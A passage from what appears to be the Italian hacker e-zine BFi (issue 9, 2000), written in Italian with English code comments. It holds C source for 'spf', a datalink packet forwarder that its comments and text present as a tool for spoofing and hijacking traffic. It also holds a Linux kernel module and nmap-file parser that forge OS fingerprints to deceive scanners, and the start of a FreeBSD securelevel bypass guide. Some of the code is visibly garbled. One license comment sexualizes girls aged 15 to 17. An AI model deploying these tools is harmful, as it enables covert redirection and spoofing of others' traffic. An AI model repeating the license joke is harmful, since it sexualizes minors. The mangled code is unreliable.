mandi su telnetd (ovvero lo rimandi a se stesso in modo che il kernel legga il pacchetto e lo passi al socket che ascolta sulla 23). 1 -> filtro interfaccia estrna + mio socket a datalink 2 -> nostro programma 3 -> kernel 4 -> telnetd. Tuttavia, in questo caso, siccome l'ip destinazione non verrebbe alterato, quando il kernel riceve il pacchetto lo inoltra secondo la propria tabella di routing, MA, sull'interfaccia sul quale routera` il pacchetto, c'e` il nostro filtro... (dal punto 2 al punto 3 si troverebbe ancora in filtro...) e si entrerebbe in un ciclo infinito. Quindi, per ovviare a questo inconveniente ho messo questa funzione che cambia la tabella di routing per se stesso (per l'indirizzo sull'interfaccia esterna) in modo da forzare quel traffico sull'interfaccia interna ("lo" di default). int manipulate_route(char *iface, int action, int flag) { struct rtentry rt; struct sockaddr_in sin; static int do_force; int fd, ret =1; if(!flag && do_force) return ret; else do_force =1; memset( (char *)&rt, 0, sizeof(struct rtentry)); /* Target address. (ip of external interface) */ strncpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name)); if (ioctl (fd, SIOCGIFHWADDR, &ifr) == -1) return -errno; memcpy(&rt.rt_dst, &ifr.ifr_hwaddr.sa_data, sizeof(struct sockaddr)); /* Target network mask (IP). */ sin.sin_family = AF_INET; sin.sin_addr.s_addr =inet_addr("255.255.255.255"); memcpy(&rt.rt_genmask, (struct sockaddr*)&sin, sizeof(struct sockaddr)); rt.rt_flags = RTF_HOST; rt.rt_dev =iface; fd = socket(AF_INET, SOCK_DGRAM, 0); /* if action != 0 ADD, if action == 0 DEL */ if (action) { if (ioctl(fd, SIOCADDRT, &rt) < 0) ret =0; } else { if (ioctl(fd, SIOCDELRT, &rt) < 0) ret =0; } close(fd); return ret; } [9] int work_entry(ip_chainlabel, struct ip_fwuser *, int ); [10] int do_setsockopt(int, void *, int); Queste due funzioni servono per ultimare la struttura di controllo per il filtraggio, vengono ultimate con dei valori fissi e poi viene passata a setsockopt(), ipchains -L e vedrete la entry aggiunta. Queste funzioni cmq non dovrebbero servirvi. 3 - ESEMPI Esempi di codice ce ne possono essere a bizzeffe... ids? firewall attivi? sistemi per dirottare il traffico? hijacker remoti? dns hijacker? sistemi di amministrazione remota solo per un certo host o solo con particolari requisiti che convivono con un servizio qualunque :) ? sistemi per lo spoofing vedente? l'unico limite e` la fantasia :) Qui ne propongo uno semplice semplice. <-| libvsk/spf.c |-> /* ** vecna - vecna@s0ftpj.org ** simple packet forwarder from datalink level ** using libvsk - unique file "spf.c" */ #include "libvsk.h" #include extern int errno; #define fatal(M) { \ perror(M); \ exit(0); \ } int check_dup(struct ipkt *); void setport(char *, char *, int[]); int main(int argc, char **argv) { int dlsfd, rsfd, opt, proto, forward, hdrincl =1, offset =0, x, port[4]={0, 0xFFFF, 0, 0xFFFF}; /* ** datalink sockfd, raw sockfd, options index, proto ** listened, offset is size datalink protocol header ** port[4] array for puts source/dest/high/low port */ char *iface; /* ** interface name. */ char *ipsrc, *ipdst; /* ** ipsrc =fucked host, ipdst =bnc ip */ unsigned int real; /* ** real ip of attacker where forward packets */ char *rcvd =malloc(sizeof(struct ipkt)); /* ** memory area where put packet, packet is readed with ** datalink header, offset is size of this header and ** is used on main cicle, *rcvd is delclared here for ** make only one allocation. */ printf("\t simple packet forwarded for multiple pourpose\n"); printf("\t by vecna - vecna@s0ftpj.org - www.s0ftpj.org\n\n"); if(argc != 11) { printf( "\t usage %s -t -n -p -i -s" "\n\t -t source of packet" "\n\t -n new destination" "\n\t -s service (UDP/TCP) type (ICMP) 0 if any" "\n\t -p protocol" "\n\t -i interface" "\n",argv[0]); exit(0); } while(( opt = getopt(argc, argv, "t:n:i:p:s:")) != -1) { struct protoent *pe; switch(opt) { case 't': ipsrc =optarg; break; case 'n': if(( real =inet_addr(optarg)) == -1) { errno =EINVAL; fatal("-r option required IP"); } break; case 'p': if ((pe = getprotobyname(optarg)) == NULL) fatal("getprotobyname"); proto = pe->p_proto; break; case 'i': iface =optarg; break; case 's': if(!atoi(optarg)) break; port[2] =port[3] =atoi(optarg); break; default: if(optarg) fprintf(stderr,"%s on",optarg); errno =EINVAL; fatal(" getopt()"); break; } } ipdst =NULL; if(( dlsfd =set_vsk_param(ipsrc, ipdst, port, iface, proto, IO_IN, IP_FW_INSERT, 0, 0))<0) fatal("set_vsk: IP_FW_INSERT"); /* ** IP_FW_DELETE must be used on signal(SIGCLOSE, unset_vsk()); ** or use "ipchains -F", as in this example where filtering ** rules is not clean after end of program. */ if((offset =get_offset(dlsfd, iface)) <0) fatal("get device offset"); if((forward = socket(AF_INET, SOCK_RAW, proto)) == -1) fatal("forward socket - SOCK_RAW"); if((x = setsockopt(forward, IPPROTO_IP, IP_HDRINCL, &hdrincl, sizeof(hdrincl))) == -1) fatal("setsockopt - IP_HDRINCL"); while(1) { struct ipkt *packet; static int last_id; read(dlsfd, rcvd, sizeof(struct ipkt)); (char *)packet = rcvd + offset; if(check_dup(packet)) continue; /* questo e` il ciclo principale, in ordine: leggo sul socket a datalink quello che mi arriva, faccio un cast in una struttura ipkt che contiene ip header + buffer dati (in questo momento non conosco ancora il protocollo di livello inferiore) dopo aver sommato l'offset per levare l'header di livello 2, poi con check_dup controllo se e` il pacchetto che ho appena ristrasmesso o se e` un altro pacchetto, poi con check_packet controllo se e` uno dei pacchetti filtrati, poi ... vediamo il codice ... */ if(check_packet(packet, packet->ip.protocol)) { struct sockaddr_in sin; struct udphdr *udp; struct tcphdr *tcp; struct icmphdr *icmp; /** other manipulation on iphdr can applied here **/ packet->ip.daddr = real; packet->ip.check = 0x00; /* bhe, e` abbastanza semplice, qui ho il pacchetto in una struttura ipkt, a seconda del campo "protocol" riesco a fare degli opportuni cast e lavorare anche su quell'header, dopo aver letto o cambiato o fatto qualunque cosa al pacchetto... */ switch(packet->ip.protocol) { case IPPROTO_ICMP: (char *)icmp =(char *)packet +sizeof(struct iphdr); sin.sin_port =htons(0); break; case IPPROTO_TCP: (char *)tcp =(char *)packet +sizeof(struct iphdr); sin.sin_port =tcp->dest; break; case IPPROTO_UDP: (char *)udp =(char *)packet +sizeof(struct iphdr); sin.sin_port =udp->dest; break; default: printf(" PROTOCOL NOT SUPP\n"); break; /* ** other manipulation at icmp/udp/tcp header ** can applied on switch() */ } sin.sin_family = AF_INET; sin.sin_addr.s_addr = packet->ip.daddr; x =resend(forward, packet, sin, ntohs(packet->ip.tot_len), NULL, 0); if(x < 0) fatal("sendto on forwarding packet"); } } free(rcvd); /* never used :) */ } int check_dup(struct ipkt *packet) { static int last_id; int id =htons(packet->ip.id); if(id ==htons(last_id)) return 1; last_id =packet->ip.id; return 0; } <-X-> I commenti li ho aggiuti nel codice, quelli in inglese sono il minimo essenziale per mettere il file su packetstorm :) qui un piccolo esempio del funzionamento: -- su un host: # ifconfig ed0 ed0: flags=8843 mtu 1500 inet 192.168.0.1 netmask 0xffffff00 broadcast 192.168.0.255 inet6 fe80::280:48ff:fe8d:7dc%ed0 prefixlen 64 scopeid 0x2 -- sull'altro: arkmp:~# ifconfig eth0 Link encap:Ethernet HWaddr 00:A0:24:55:82:91 inet addr:192.168.0.10 Bcast:192.168.0.255 Mask:255.255.255.0 arkmp:/home/vecna/wrk/my/libvsk-1.0/example# ./spf simple packet forwarded for multiple pourpose by vecna - vecna@s0ftpj.org - www.s0ftpj.org usage ./spf -t -n -p -i -s -t source of packet -n new destination -s service (UDP/TCP) type (ICMP) 0 if any -p protocol -i interface arkmp:/home/vecna/wrk/my/libvsk-1.0/example# ./spf -t 192.168.0.1 -n 192.168.0.1 -s 0 -p icmp -i eth0 -- quindi tutti gli icmp diretti all'host su cui gira spf, verranno riinviati -- all'host mittente. Ed ecco la dismostrazione, avvio spf e: # ping arkmp PING arkmp.ubriaco.net (192.168.0.10): 56 data bytes 64 bytes from 192.168.0.1: icmp_seq=0 ttl=255 time=0.677 ms 64 bytes from 192.168.0.1: icmp_seq=1 ttl=255 time=0.635 ms 64 bytes from 192.168.0.1: icmp_seq=2 ttl=255 time=0.622 ms 64 bytes from 192.168.0.1: icmp_seq=3 ttl=255 time=0.642 ms 64 bytes from 192.168.0.10: icmp_seq=9 ttl=255 time=0.629 ms 64 bytes from 192.168.0.10: icmp_seq=10 ttl=255 time=0.560 ms -- Dal primo ping al terzo spf girava e rimandava i pacchetti a .1 dopo il -- terzo ho spento spf, e i pacchetti non sono tornati perche` spf non pulisce -- /proc/net/ip_fwchains, dopo l'ottavo invece ho avviato ipchains -F, e ping -- e` tornato a funzionare normalmente. -- Non c'e` da stupirsi se ping mostra i pacchetti che riceve anche se non -- sono echo reply, come si trova nei src di ping: * We've got something other than an ECHOREPLY. * See if it's a reply to something that we sent. * We can compare IP destination, protocol, * and ICMP type and ID. Con tcpdump vediamo chiaramente che, a coppie di due: 03:40:24.647007 rossa.ubriaco.net > arkmp.ubriaco.net: icmp: echo request 03:40:24.647318 rossa.ubriaco.net > rossa.ubriaco.net: icmp: echo request 03:40:25.657101 rossa.ubriaco.net > arkmp.ubriaco.net: icmp: echo request 03:40:25.657454 rossa.ubriaco.net > rossa.ubriaco.net: icmp: echo request Ogni pacchetto diretto verso arkmp.ubriaco.net viene immediatamente girato verso rossa.ubriaco.net con l'ip sorgente di rossa. Questo cmq e` per quanto riguarda l'icmp... il bello viene quando si fanno queste cose con il tcp (il concetto e` lo stesso anche con udp). In questo modo pero' dovremo mettere due spf e in questo modo si potrebbe fare l'equivalente di uno spoofer vedente... (1) spf(host mio) -> (2) host target -> (3) spf(host bnc) 1 = e` il mio host, io telnetto host bnc e l'spf sul mio computer tramuta tutti i pacchetti destinati a bnc host in pacchetti destinati a target host 2 = target host riceve i miei pacchetti che appaiono provenire da host bnc 3 = host bnc riceve i pacchetti da target host, e li gira un spf che tutti i pacchetti provenienti da target host deve rimandarli a casa mia a nome suo. In questo modo noi telnettiamo un host, illudiamo sia il nostro kernel che il nostro telnet di essere su quell'host, ma invece il traffico che esce e` diretto ad un altro :) In Phrack56 c'e` un bell'articolo dove spiega come dirottare la comunicazione di un router in GRE tunnel verso un host, questo host sniffa e rimanda i pacchetti; l'esempio e` fatto con un modulo kernel e uno sniffer. Qui potete farlo senza problemi con un programma "simile" a spf, che dopo aver ricevuto i pacchetti dal router (e` il router l'host firewallato e ricercato dal vostro codice) li riinstrada. Dico "simile" perche` si tratta di GRE tunnel e non e` supportato, ma non ci vuole molto per modificarlo e farglielo supportare. La stessa cosa vale per moduli come OTP che possono essere facilmente rimpiazzati a userlevel. 4 - !EOF E l'articolo e` finito. Le possibilita` che possono dare queste librerie sono tante, magari con le implementazioni del kernel 2.4.* potranno essere ancora di piu`. Inizialmente le sviluppai perche` volevo lavorare a kernel level senza dover ricorrere agli LKM, di tempo ce n'e` voluto anche perche` mi ero intestardito a leggere il sorgente di ipchains, forse sara` per questo che ora odio Rusty :) . Il codice non sara` sicuramente perfetto (credo che la parte relativa al netlink sia un po` buggata, ripeto che non l'ho mai provata)... Per il resto spero qualcuno le utilizzi :) KNOWLEDGE IS POWER, PUSSY IS LUCK! (c) Master :) Saluti in ordine di sort: Adryana, ~/amici/*/*, awgn, Ax1s, Christian, !EOF, gli amici spippolatori, Gigi Sullivan, Jon Zaid, le strane persone di #boscaglia :), litos, Lisi, LordFelix, maruz, Md, N0bodY88, naif, NaiL, NERvOus, raptor, Sharra, Smilzo, scai, smav, TheDuke, tutta la s0ftpj, Viny (phroid, se hai fatto "grep -i phroid BFi*" come tuo solito, ciao :) bye, vecna - questo articolo e` scritto per mezzo dell'editor: vecna@arkmp:~$ ls -l /bin/dd -rwxr-xr-x 1 root root 25936 mag 6 14:46 /bin/dd ============================================================================== --------------------------------[ EOF 11/21 ]--------------------------------- ============================================================================== BFi-9/BFi09-120100644000000000000000000006113207204352745011352 0ustar rootroot============================================================================== -------------[ BFi numero 9, anno 3 - 03/11/2000 - file 12 di 21 ]------------ ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ C0ME F0TTERE iL TCP/iP FiNGERPRiNTiNG -----[ |CyRaX| & FuSyS Consumo di |CyRaX| : un'anima ke ha perso ogni speranza di raggiungere il paradiso per tutte le bestemmie tirate durante lo sviluppo Thanx : B_Berry, recidjvo, i fratelli pkc, gli amici di #programmazione e #sikurezza Pensierino del giorno: ti accorgi della difficolta' a realizzare un certo programma quando il 90% dei nomi ke assegni alle variabili durante il debug sono bestemmie (tranquilli tranquilli.. le ho kavate :P) Documentazione se non ci kapite un kazzo o volete approfondire: nmap-x.xx/nmap-fingerprinting-article.txt : per l'os fingerprinting nmap-x.xx/nmap-os-fingerprints : file ke contiene tutti i comportamenti degli os per poterli rikonoscere nmap-x.xx/osscan.c : implementazione del fingerprint in nmap Phrack55/P55-12 : come intercettare e modifikare i pakketti via lkm Salvo dove specificato l'artikolo l'ho skritto io (|CyRaX|) quindi tutti gli insulti per errori grammaticali, ortografici, calligrafici e logici mandateli a me. Nota agli script kiddie: no.. qui non troverete nessun exploit universale ke vi permetta di bukare il mondo, ma un bell'lkm per fare i fighetti con gli amici facendogli credere di avere qualkosa tipo un vax/vms in casa. Oky... cominciamo con le kose serie... Suppongo ke tutti voi sappiate cos'e' il tcp/ip fingerprinting (altrimenti guardatevi nmap-fingerprinting-article.txt nella dir coi sorci dell'nmap). Per quelli ke non hanno voglia di dokumentarsi ve lo dico io: e' un metodo ke permette ad un attacker di sapere ke sistema operativo gira su una determinata vittima esaminando il comportamento del suo stack tcp/ip (per esempio guardando quali opzioni tcp supporta e quanti byte mette negli errori icmp). Con questo metodo e' possibile fottere tutti quelli ke cambiano l'issue e tutti i banner dei servizi. Come tutti voi saprete un buon tool per fare il fingerprint in circolazione e' l'nmap (-O). L'nmap manda un po' di pakketti settando vari flag su porte aperte e kiuse, guarda come sono fatti i pakketti ke la vittima rimanda indietro, confronta le risposte con quelle memorizzate nel suo file (solitamente in /usr/local/share/nmap-os-fingerprints) e cerka di indovinare ke os e' (mi sono spiegato veramente alla kazzo.. ma non sono qui per spiegarvi il fingerprint.. vi ho detto dove approfondire.. se volete farlo bene altrimenti kazzi vostri :) . Avrete gia' capito (spero) ke per poter fottere queste tecniche non ci basta un programmino in userlevel, ma dobbiamo per forza andare a kernel-level con un lkm che intercetti i pakketti in entrata e in uscita e li modifiki. Per fare in modo ke nmap risponda unknow a ki ci fingerprinta basterebbe una modifika minima sui pakketti... kenneso'... per esempio togliere a tutti il bit DF (don't fragment). Volendo invece far creder ad nmap di stare su un altro os dobbiamo skazzarci molto di piu'... se poi volete fare un lkm configurabile per scegliere tra vari os c'e' da bestemmiarci sopra. :) In ogni caso.. facendo le kose via lkm non possiamo emulare tutto.. alcuni test dell'nmap non si possono aggirare modificando pakketti gia' fatti.. ma solo andando a modifikare le funzioni ke li creano (es.: il test su come variano gli inital seq number (ISN)). Oky.. vediamo lkm e parser al lavoro :) c500:/usr/src/fpf# ./parser "Windows NT 4 SP3" Windows NT 4 SP3 ? [y/n] y Finger Print Fucker Idea and lkm by |CyRaX| of Packet Knights Crew (www.pkcrew.org) Parser for the nmap's file by FuSyS of S0ft Project (www.s0ftpj.org) Comments to cyrax@pkcrew.org THIS SOFTWARE IS SISTERWARE! REMEBER TO REGISTER! Bene... modulo caricato.. ora vediamo cosa si bekka uno ke prova a usare il fingerprint dell'nmap contro di noi :) : p100# nmap -p 21 -O 192.168.0.1 Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ ) Interesting ports on (192.168.0.1): Port State Service 21/tcp open ftp TCP Sequence Prediction: Class=random positive increments Difficulty=2255666 (Good luck!) Remote operating system guess: Windows NT 4 SP3 Nmap run completed -- 1 IP address (1 host up) scanned in 1 second p100# uazz.. proprio NT :P Oky.. prima del codice ekko un altro bel po' di os emulabili dall'lkm con cui potrete fare i fighetti: Atari Mega STE running JIS-68k 3.0 BSDI BSD/OS 3.0-3.1 VAX/VMS v5.5, CMU-TEK TCP/IP stack Cisco 762 Non-IOS Software release 4.1(2) or 766 ISDN router e altri.. ma sono sikuro ke vi divertirete a cercarveli da soli :P E infine.. il codice :) <-| fingerprint/fing_fuck.c crc32: 1260000861 |-> /* * Name: Finger Print Fucker * Date: Tue Jul 04 13:23:36 2000 * Author: |CyRaX| [cyrax@pkcrew.org] * Packet Knights Crew * www.pkcrew.org * Greetz : B_Berry : for making me leave the visualbasic :) * FuSyS : for the help and for the parser :) * recidjvo, asynchro and all the bros of the packet knights crew ;) * * Description : this lkm change the linux stack to emulate other os'es * against nmap fingerprints (maybe others). This module * accepts parameter from insmod. Use it with the nmap's file * parser of FuSyS * Compile with: * gcc FingerPrintFucker.c -c -fomit-frame-pointer -O2 -I/usr/src/linux/include * Usage : * insmod FingerPrintFuker.o * to emulate a vax * OR (Best :): * use it with the fusys's nmap file parser * * SISTER-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by * Poul-Henning Kamp or COFFEE_WARE LICENSE * by pIGpEN but you can give me in return your sister. * (if 15<= her_age <=17) * * PLEASE REMEMBER TO REGISTER :P * * Tested on: Linux 2.2.14 #1 Thu Mar 23 20:23:22 CET 2000 i686 */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* our functions */ int intercept(struct sk_buff *skb,struct device *dv,struct packet_type *pt); int in(struct sk_buff *skb); void ttycredit(char *str); u_short in_chksum(u_short *ptr,int nbytes); struct packet_type proto; /* Some variables passed trough insmod NAME=value*/ int ICMPLEN; MODULE_PARM(ICMPLEN,"i"); int WINDOW=0x2000; MODULE_PARM(WINDOW,"i"); int DFdefault=0; MODULE_PARM(DFdefault,"i"); int DFwhenconnect=0; MODULE_PARM(DFwhenconnect,"i"); int TOS=0; MODULE_PARM(TOS,"i"); unsigned char *OPT; MODULE_PARM(OPT,"s"); int WINDOWdefault=0x64; MODULE_PARM(WINDOWdefault,"i"); int CHANGE_ID=0; MODULE_PARM(CHANGE_ID,"i"); int FUCK_RIPCK=0; MODULE_PARM(FUCK_RIPCK,"i"); int FUCK_UCK; MODULE_PARM(FUCK_UCK,"i"); int ANSWER_T2=1; MODULE_PARM(ANSWER_T2,"i"); int T7_Spp=1; MODULE_PARM(T7_Spp,"i"); int ACK_WHEN_RESET=1; MODULE_PARM(ACK_WHEN_RESET,"i"); char *MYOPT; int OPTLEN; /* a struct for the tcp checksum */ struct pseudo{ u_int32_t saddr; u_int32_t daddr; u_int8_t zero; u_int8_t protocol; u_int16_t lenght; }; /* this function intercept the packets (and change them) */ int intercept(struct sk_buff *skb,struct device *dv,struct packet_type *pt){ struct iphdr *ip; struct udphdr *udph; char toprint[200]; unsigned char *data,*option; u_short *mss; int len, tcplen,datalen,iplen, optlen,i,ex,oldoptlen; /* adjusting some pointer */ skb->h.raw = skb->nh.raw +skb->nh.iph->ihl*4; skb->data = (unsigned char *)skb->h.raw +(skb->h.th->doff <<2); skb->len -= skb->nh.iph->ihl*4 +(skb->h.th->doff << 2); if(skb->nh.iph->protocol!=6 && skb->nh.iph->protocol!=1 ){ /* we just need to control tcp and icmp */ kfree_skb(skb); return 0; } /* THE REST OF THIS FUNCTION JUST HANDLE OUTGOING PACKETS.. * for the incoming let's use another function.. when I created this * I didn't tought I needed to control incoming.. but to emulate * more os'es we must do it (FUCKING COMPLEXX but BlackBerry asked * me to emulate a vms/vax :) */ /* if the packet is ingoing we'll pass it to the "in" function.. * I use another function just to reduce the size of this :) */ if(skb->pkt_type==PACKET_HOST && skb->nh.iph->protocol==6){ in(skb); return(0); } /* here goes the tcp handling */ if(skb->nh.iph->protocol==6){ iplen=skb->nh.iph->ihl*4; tcplen=skb->h.th->doff<<2; len=ntohs(skb->nh.iph->tot_len); datalen=len -(iplen+tcplen); optlen=tcplen-sizeof(struct tcphdr); /* IP HEADER */ /* DF */ /* if DFdefault is set we must set the DONT FRAGMENT bit */ if(DFdefault){ skb->nh.iph->frag_off=0x40; } else { skb->nh.iph->frag_off=0x00; } /* TCP HEADER */ /* if the windows is not 0 then a connection has been estabilished */ if(skb->h.th->window!=0){ /* we must change the window value to the one expected*/ skb->h.th->window=htons(WINDOW); /* some implementation set the DF only when a connection is * estabilished */ if(DFwhenconnect){ skb->nh.iph->frag_off=0x40; } else { skb->nh.iph->frag_off=0x00; } } else { /* not all the oses use 0 as windows when the connection * does not start */ skb->h.th->window=htons(WINDOWdefault); } /* some oses need to set also the ack when resetting */ if(skb->h.th->rst && ACK_WHEN_RESET)skb->h.th->ack=1; /* TCP OPTIONS */ /* we need to modify the tcp options ONLY if some options * has already been set */ if((optlen>0) && (optlen>=OPTLEN)){ /* finding where the option start */ option=(char *)(skb->data - optlen); /* well man.. we need to save the data */ data=kmalloc(datalen,GFP_KERNEL); memcpy(data,skb->data,datalen); /* now we can play with the options.. */ for(i=0;ih.th->doff=(sizeof(struct tcphdr)+optlen)/4; tcplen=skb->h.th->doff <<2; skb->nh.iph->tot_len=htons(iplen+tcplen+datalen); len=ntohs(skb->nh.iph->tot_len); skb->data=(char *)(option+optlen); } /* we modified the packet.. so we must recomputate the checksum */ memset(&skb->nh.iph->check,0,2); skb->nh.iph->check=in_chksum((u_short *)skb->nh.iph,skb->nh.iph->ihl*4); memset(&skb->h.th->check,0,2); /* after spending some time insulting god for the tcp checksum * I found a very nice function in the kernel for it */ skb->csum=0; skb->csum=csum_partial(skb->h.raw+tcplen,(len -iplen)-tcplen,0); skb->h.th->check=0; skb->h.th->check=csum_tcpudp_magic( skb->nh.iph->saddr, skb->nh.iph->daddr, len-iplen, skb->nh.iph->protocol, csum_partial(skb->h.raw,tcplen, skb->csum) ); } /* ICMP PACKET HANDLING */ if(skb->nh.iph->protocol==1){ /* we need only port unreachable icmps */ if(skb->h.icmph->code !=3 || skb->h.icmph->type !=3){ kfree_skb(skb); return(0); } ip=(struct iphdr *)(skb->h.icmph+sizeof(struct icmphdr)); len=ntohs(skb->nh.iph->tot_len)-(skb->nh.iph->ihl*4)- sizeof(struct icmphdr); if(len>=148){ /* IP HEADER */ /* - changin the Type Of Service*/ skb->nh.iph->tos=TOS; /* - let's change the icmp errors' len */ skb->nh.iph->tot_len=htons((skb->nh.iph->ihl*4)+ sizeof(struct icmphdr)+ICMPLEN); /* ICMP DATA HEADER */ ip=(struct iphdr *)(skb->h.raw+sizeof(struct icmphdr)); udph=(struct udphdr *)(ip+ip->ihl*4); /* - we may need to change the id */ if(CHANGE_ID)ip->id=htons(1234); /* - we may need to set 0 or a wrong value in the ip checksum */ if(FUCK_RIPCK)ip->check=htons(1234); if(FUCK_RIPCK==-1)ip->check=0; /* - also in the udp checksum */ if(FUCK_UCK)udph->check=htons(1234); if(FUCK_UCK==-1)udph->check=0; /* checksum */ memset(&skb->nh.iph->check,0,2); skb->nh.iph->check=in_chksum((u_short *)skb->nh.iph,skb->nh.iph->ihl*4); memset(&skb->h.icmph->checksum,0,2); skb->h.icmph->checksum=in_chksum((u_short *)skb->h.icmph, sizeof(struct icmphdr)+ICMPLEN); } } kfree_skb(skb); return 0; } /* this function handle incoming tcp packets... needed for more advanced * things */ int in(struct sk_buff *skb){ int i,tcplen,datalen,optlen,iplen,len; unsigned long tmpip; unsigned char dst_hw_addr[6]; char toprint[200]; /* oky.. we have a tcp packet.. now let's watch if it's a * nmap fucking test.. */ /* T2*/ len=ntohs(skb->nh.iph->tot_len); iplen=skb->nh.iph->ihl*4; tcplen=skb->h.th->doff<<2; optlen=tcplen-sizeof(struct tcphdr); datalen=len-(iplen+tcplen); /* T2 TEST * linux don't answer t2.. we can do it */ if(skb->h.th->fin==0 && skb->h.th->rst==0 && skb->h.th->syn==0 && skb->h.th->psh==0 && skb->h.th->ack==0 && skb->h.th->urg==0){ if(ANSWER_T2){ /* to make linux answer this packet we can just turn it * into another packet at which it answers */ skb->h.th->psh=1; skb->h.th->fin=1; skb->h.th->urg=1; skb->h.th->dest=htons(1); skb->csum=0; skb->h.th->check=0; skb->csum=csum_partial(skb->h.raw+tcplen,(len -iplen)-tcplen,0); skb->h.th->check=csum_tcpudp_magic( skb->nh.iph->saddr, skb->nh.iph->daddr, len-iplen, skb->nh.iph->protocol, csum_partial(skb->h.raw,tcplen, skb->csum) ); } kfree_skb(skb); return(0); } /* T7 linux answer sending an ACK/RST with ack = seq +1 .. * we may need to answer with ack=seq * how doing this? changing the packet to be like t5 */ if(skb->h.th->fin==1 && skb->h.th->rst==0 && skb->h.th->syn==0 && skb->h.th->psh==1 && skb->h.th->ack==0 && skb->h.th->urg==1){ if(T7_Spp){ skb->h.th->fin=0; skb->h.th->psh=0; skb->h.th->urg=0; skb->h.th->syn=1; skb->csum=0; skb->h.th->check=0; skb->csum=csum_partial(skb->h.raw+tcplen,(len -iplen)-tcplen,0); skb->h.th->check=csum_tcpudp_magic( skb->nh.iph->saddr, skb->nh.iph->daddr, len-iplen, skb->nh.iph->protocol, csum_partial(skb->h.raw,tcplen, skb->csum) ); } kfree_skb(skb); return(0); } kfree_skb(skb); return(0); } /* this function is started when the module is insmoded */ int init_module(){ int i,z=0,a; char toprint[100]; u_short *conv; proto.type=htons(ETH_P_ALL); proto.func=intercept; /* added a function that incercept packets */ dev_add_pack(&proto); ttycredit(" Finger Print Fucker\r\n"); ttycredit("Idea and lkm by |CyRaX| of Packet Knights Crew (www.pkcrew.org)\r\n"); ttycredit("Parser for the nmap's file by FuSyS of S0ft Project (www.s0ftpj.org)\r\n"); ttycredit("Comments to cyrax@pkcrew.org\r\n"); ttycredit("THIS SOFTWARE IS SISTERWARE! REMEBER TO REGISTER!\r\n"); ttycredit("See copyright info in FingerPrintFucker.c\r\n"); /* if no tcp options are passed by insmod we'll set it to M */ if(!OPT){ OPT=(char *)kmalloc(5,GFP_KERNEL); strcpy(OPT,"M"); } /* well options are passed in litteral way... we must translate * them to bytes */ MYOPT=(char *)kmalloc(40,GFP_KERNEL); for(i=0;i<(strlen(OPT));i++){ switch((unsigned char)OPT[i]){ case 'W': /* WINDOW SCALE */ MYOPT[z]=3; /* code 3 */ z++; MYOPT[z]=3; /* len 3 */ z++; MYOPT[z]=123; /* just a random value */ z++; break; case 'T': MYOPT[z]=8; /* timestamp */ z++; MYOPT[z]=10; /* len 10 */; z++; z=z+8; break; case 'N': MYOPT[z]=1; /* nop */ z++; break; case 'M': MYOPT[z]=2; /* mss */ z++; MYOPT[z]=4; /*len = 4*/ z++; if((i+1) ((z/4)*4)){ z=(z/4)*4+4; } break; case '0': /* if a 0 is passed then there are no options */ i=strlen(OPT); z=0; break; } } OPTLEN=z; return(0); } /* function called when rmmoding.. this removes our function from the * layer */ void cleanup_module(){ dev_remove_pack(&proto); } /* Ripped from LuCe.c of Fusys */ void ttycredit(char *str){ struct tty_struct *mytty; if((mytty=current->tty)!=NULL){ (*(mytty->driver).write)(mytty,0,str,strlen(str)); } } u_short in_chksum(u_short *ptr, int nbytes) { register long sum; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */ sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return((u_short) answer); } <-X-> <-| fingerprint/fing_parses.c crc32: 3089110501 |-> /* * parser for |CyRaX| LKM * reads nmap fingerprint file for os emulations choice * coded this in seconds, do NOT suid this - use it as root to insmod * * FuSyS [S0ftPj|BFi] * */ #include #include #include #include #include #define DEBUG 0 #define NMAPFILE "/usr/local/share/nmap/nmap-os-fingerprints" FILE *fd; int Resp1=0, Resp7=0, RespPU=0, AR4=0; int WINDOW=0, WINDOWdefault=0, DFdefault=0, DFwhenconnect=0; int ANSWER_T2=0, T7_Spp=0, ACK_WHEN_RESET=0, ICMPLEN=0, TOS=0, CHANGE_ID=0; signed int FUCK_RIPCK=0, FUCK_UCK=0; char OPT[10]; int choice(char *ostype) { char c[3]; memset(&c, '\0', 2); printf("\n%s ? [y/N] ", ostype); fgets(c, 3, stdin); if(strstr(c, "y")||strstr(c, "Y")) return 1; return 0; } void lookupOPT() { int i=0; while(i ============================================================================== ---------------------------------[ EOF 12/21 ]-------------------------------- ============================================================================== BFi-9/BFi09-130100644000000000000000000015267107204353004011351 0ustar rootroot============================================================================== -------------[ BFi numero 9, anno 3 - 03/11/2000 - file 12 di 21 ]------------ ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ FreeBSD: SiCUREZZA iN SiTUAZi0Ni Di MULTiUTENZA -----[ pIGpEN - - -[ i N T R 0 D U Z i O N E Questo articolo e' una guida pratica a come bypassare, implementare ed utilizzare ALCUNI supporti che hanno lo scopo di proteggere un sistema operativo multiutente... Viene preso come esempio FreeBSD dove verranno analizzati: o il securelevel o le ACL e implementato un supporto simile per controllare e bloccare l'esecuzione di chiamate di sistema e di utilizzo di protocolli per particolari utenti... - - - [ F r e e B S D : u n e s e m p i o d i s e c u r e l e v e l I securelevel sono settabili attraverso sysctl con mib kern.securelevel o da /etc/rc.conf attraverso la variabile kern_securelevel_enable e kern_securelevel (la prima per attivare il supporto, la seconda per fornire il livello di protezione). E' molto importante capire che una volta settato il securelevel, non sara' piu' possibile abbassarlo: # sysctl -w kern.securelevel=1 # sysctl -w kern.securelevel=-1 sysctl: Operation not permitted Questo perche' il supporto e' gestito dalla seguente funzione: int securelevel = -1; static int sysctl_kern_securelvl SYSCTL_HANDLER_ARGS { int error, level; level = securelevel; error = sysctl_handle_int(oidp, &level, 0, req); if (error || !req->newptr) return (error); if (level < securelevel) return (EPERM); securelevel = level; return (error); } SYSCTL_PROC(_kern, KERN_SECURELVL, securelevel, 